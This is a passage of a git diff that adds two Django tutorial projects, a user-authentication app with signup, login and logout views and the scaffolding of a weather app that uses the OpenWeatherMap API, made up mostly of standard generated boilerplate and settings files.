+ + +{% endblock %} diff --git a/web-programming/django-authentication/accounts/account/__init__.py b/web-programming/django-authentication/accounts/account/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..eae4b2b3 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..3d4d433f Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-38.pyc new file mode 100644 index 00000000..50e9a490 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-39.pyc new file mode 100644 index 00000000..580ad4f2 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/admin.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-38.pyc new file mode 100644 index 00000000..b0f561c9 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-39.pyc new file mode 100644 index 00000000..155c0aad Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/apps.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-38.pyc new file mode 100644 index 00000000..90cc4cb8 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-39.pyc new file mode 100644 index 00000000..3516e019 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/models.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-38.pyc b/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-38.pyc new file mode 100644 index 00000000..92eff405 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-39.pyc b/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-39.pyc new file mode 100644 index 00000000..524fe062 Binary files /dev/null and b/web-programming/django-authentication/accounts/account/__pycache__/views.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/admin.py b/web-programming/django-authentication/accounts/account/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/django-authentication/accounts/account/apps.py b/web-programming/django-authentication/accounts/account/apps.py new file mode 100644 index 00000000..2b08f1ad --- /dev/null +++ b/web-programming/django-authentication/accounts/account/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class AccountConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'account' diff --git a/web-programming/django-authentication/accounts/account/migrations/__init__.py b/web-programming/django-authentication/accounts/account/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..b433a9df Binary files /dev/null and b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..0a414dfe Binary files /dev/null and b/web-programming/django-authentication/accounts/account/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/account/models.py b/web-programming/django-authentication/accounts/account/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/django-authentication/accounts/account/tests.py b/web-programming/django-authentication/accounts/account/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/django-authentication/accounts/account/views.py b/web-programming/django-authentication/accounts/account/views.py new file mode 100644 index 00000000..c446ab10 --- /dev/null +++ b/web-programming/django-authentication/accounts/account/views.py @@ -0,0 +1,39 @@ +from django.shortcuts import render,redirect +from django.contrib.auth import login,logout +from django.contrib.auth.forms import UserCreationForm, AuthenticationForm + +# Create your views here. +def home(request): + return render(request,'home.html') + +def landing_page(request): + return render(request,'landing_page.html') + +def signup(request): + if request.method == 'POST': + form = UserCreationForm(request.POST) + if form.is_valid(): + user = form.save() + login(request, user) + return redirect('home') + else: + form = UserCreationForm() + return render(request, 'signup.html', {'form': form}) + + + +def log_in(request): + if request.method == "POST": + form = AuthenticationForm(data=request.POST) + if form.is_valid(): + user = form.get_user() + login(request,user) + return redirect('home') + else: + form = AuthenticationForm() + return render(request,'login.html', {"form":form}) + + +def log_out(request): + logout(request) + return redirect('landing_page') diff --git a/web-programming/django-authentication/accounts/accounts/__init__.py b/web-programming/django-authentication/accounts/accounts/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-38.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..fa51b7ad Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-39.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..cb7bfead Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-38.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-38.pyc new file mode 100644 index 00000000..7411c66d Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-39.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..5debe8f3 Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/settings.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-38.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-38.pyc new file mode 100644 index 00000000..c2136541 Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-39.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..8ac8fa1b Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-38.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-38.pyc new file mode 100644 index 00000000..333821e9 Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-38.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-39.pyc b/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-39.pyc new file mode 100644 index 00000000..ae8a9b86 Binary files /dev/null and b/web-programming/django-authentication/accounts/accounts/__pycache__/wsgi.cpython-39.pyc differ diff --git a/web-programming/django-authentication/accounts/accounts/asgi.py b/web-programming/django-authentication/accounts/accounts/asgi.py new file mode 100644 index 00000000..9437e0ed --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for accounts project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + +application = get_asgi_application() diff --git a/web-programming/django-authentication/accounts/accounts/settings.py b/web-programming/django-authentication/accounts/accounts/settings.py new file mode 100644 index 00000000..1e8e7182 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/settings.py @@ -0,0 +1,127 @@ +""" +Django settings for accounts project. + +Generated by 'django-admin startproject' using Django 4.1.1. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-ghin06u9rg0ec54yu5k9wkcya6mkkvlu8h++w4r)0hj8j970$w' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'account', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'accounts.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [BASE_DIR,'Templates'], #here + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'accounts.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +LOGIN_REDIRECT_URL = "home/" +LOGOUT_REDIRECT_URL = '/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/django-authentication/accounts/accounts/urls.py b/web-programming/django-authentication/accounts/accounts/urls.py new file mode 100644 index 00000000..c64db7b2 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/urls.py @@ -0,0 +1,27 @@ +"""accounts URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path +from account import views #here + +urlpatterns = [ + path('admin/', admin.site.urls), + path('home/', views.home, name='home'), #here + path('', views.landing_page, name='landing_page'), + path('signup/', views.signup, name='signup'), + path('login/', views.log_in, name='login'), + path('logout/', views.log_out, name='logout'), +] diff --git a/web-programming/django-authentication/accounts/accounts/wsgi.py b/web-programming/django-authentication/accounts/accounts/wsgi.py new file mode 100644 index 00000000..eb795ed9 --- /dev/null +++ b/web-programming/django-authentication/accounts/accounts/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for accounts project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + +application = get_wsgi_application() diff --git a/web-programming/django-authentication/accounts/db.sqlite3 b/web-programming/django-authentication/accounts/db.sqlite3 new file mode 100644 index 00000000..e22b99be Binary files /dev/null and b/web-programming/django-authentication/accounts/db.sqlite3 differ diff --git a/web-programming/django-authentication/accounts/manage.py b/web-programming/django-authentication/accounts/manage.py new file mode 100644 index 00000000..1c187f06 --- /dev/null +++ b/web-programming/django-authentication/accounts/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'accounts.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/django-authentication/requirements.txt b/web-programming/django-authentication/requirements.txt new file mode 100644 index 00000000..eec1cf15 --- /dev/null +++ b/web-programming/django-authentication/requirements.txt @@ -0,0 +1 @@ +Django \ No newline at end of file diff --git a/web-programming/django-weather-app/README.md b/web-programming/django-weather-app/README.md new file mode 100644 index 00000000..d38a6988 --- /dev/null +++ b/web-programming/django-weather-app/README.md @@ -0,0 +1,5 @@ +# [How to Build a Weather App using Django in Python](https://www.thepythoncode.com/article/weather-app-django-openweather-api-using-python) +To run this: +- `$ pip3 install -r requirements.txt` +- Put your OpenWeatherMap API key in `API_KEY` variable in the `weatherupdates/views.py` file. +- Run the app via: `$ python manage.py runserver` \ No newline at end of file diff --git a/web-programming/django-weather-app/db.sqlite3 b/web-programming/django-weather-app/db.sqlite3 new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/manage.py b/web-programming/django-weather-app/manage.py new file mode 100644 index 00000000..ffa6defc --- /dev/null +++ b/web-programming/django-weather-app/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/django-weather-app/requirements.txt b/web-programming/django-weather-app/requirements.txt new file mode 100644 index 00000000..b88be3c1 --- /dev/null +++ b/web-programming/django-weather-app/requirements.txt @@ -0,0 +1,2 @@ +requests +django \ No newline at end of file diff --git a/web-programming/django-weather-app/weatherapplication/__init__.py b/web-programming/django-weather-app/weatherapplication/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..dddef5ed Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-39.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..8dd03d88 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..59367ddb Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-39.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..3b793b88 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/settings.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-310.pyc new file mode 100644 index 00000000..176358c5 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-39.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..c62258b1 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc new file mode 100644 index 00000000..bd4fa0e7 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc new file mode 100644 index 00000000..89879637 Binary files /dev/null and b/web-programming/django-weather-app/weatherapplication/__pycache__/wsgi.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherapplication/asgi.py b/web-programming/django-weather-app/weatherapplication/asgi.py new file mode 100644 index 00000000..347c3e54 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for weatherapplication project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + +application = get_asgi_application() diff --git a/web-programming/django-weather-app/weatherapplication/settings.py b/web-programming/django-weather-app/weatherapplication/settings.py new file mode 100644 index 00000000..fa3b85dc --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/settings.py @@ -0,0 +1,125 @@ +""" +Django settings for weatherapplication project. + +Generated by 'django-admin startproject' using Django 4.1. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-0rt0hcq(e^c!9#qqru4@tzs)aru_*o2q4_=yznil4w14!dcye+' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # this is the new created app + 'weatherupdates', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'weatherapplication.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'weatherapplication.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.1/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/django-weather-app/weatherapplication/urls.py b/web-programming/django-weather-app/weatherapplication/urls.py new file mode 100644 index 00000000..c8865945 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/urls.py @@ -0,0 +1,9 @@ +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + # the default path for the admin site + path('admin/', admin.site.urls), + # this points django to the weatherupdates app urls + path('', include('weatherupdates.urls')), +] diff --git a/web-programming/django-weather-app/weatherapplication/wsgi.py b/web-programming/django-weather-app/weatherapplication/wsgi.py new file mode 100644 index 00000000..3835fd59 --- /dev/null +++ b/web-programming/django-weather-app/weatherapplication/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for weatherapplication project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'weatherapplication.settings') + +application = get_wsgi_application() diff --git a/web-programming/django-weather-app/weatherupdates/__init__.py b/web-programming/django-weather-app/weatherupdates/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..babfb916 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..1a96e676 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-310.pyc new file mode 100644 index 00000000..64a5f523 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-39.pyc new file mode 100644 index 00000000..5799a9e1 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/admin.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-310.pyc new file mode 100644 index 00000000..e212a0f0 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-39.pyc new file mode 100644 index 00000000..2b054922 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/apps.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-310.pyc new file mode 100644 index 00000000..b8fdfe8f Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-39.pyc new file mode 100644 index 00000000..6c8cb0e5 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/models.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-310.pyc new file mode 100644 index 00000000..26f6dc0c Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..99663f29 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-310.pyc new file mode 100644 index 00000000..8e3070f3 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-39.pyc new file mode 100644 index 00000000..fb8db32c Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/__pycache__/views.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/admin.py b/web-programming/django-weather-app/weatherupdates/admin.py new file mode 100644 index 00000000..8c38f3f3 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/web-programming/django-weather-app/weatherupdates/apps.py b/web-programming/django-weather-app/weatherupdates/apps.py new file mode 100644 index 00000000..0016589f --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class WeatherupdatesConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'weatherupdates' diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__init__.py b/web-programming/django-weather-app/weatherupdates/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..bb8bd60a Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..92a8f614 Binary files /dev/null and b/web-programming/django-weather-app/weatherupdates/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/django-weather-app/weatherupdates/models.py b/web-programming/django-weather-app/weatherupdates/models.py new file mode 100644 index 00000000..71a83623 --- /dev/null +++ b/web-programming/django-weather-app/weatherupdates/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/web-programming/django-weather-app/weatherupdates/templates/weatherupdates/404.html 